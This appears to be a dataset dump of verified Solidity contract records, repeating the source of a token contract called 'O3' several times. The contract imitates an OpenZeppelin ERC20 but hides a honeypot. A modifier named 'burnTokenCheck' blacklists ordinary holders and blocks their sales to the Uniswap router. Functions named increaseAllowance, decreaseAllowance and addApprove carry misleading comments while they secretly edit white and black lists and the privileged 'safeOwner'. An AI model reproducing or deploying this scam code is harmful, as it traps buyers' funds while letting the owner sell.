*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2707,
2831
]
} | 4,240 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3039,
3223
]
} | 4,241 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3770,
3926
]
} | 4,242 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
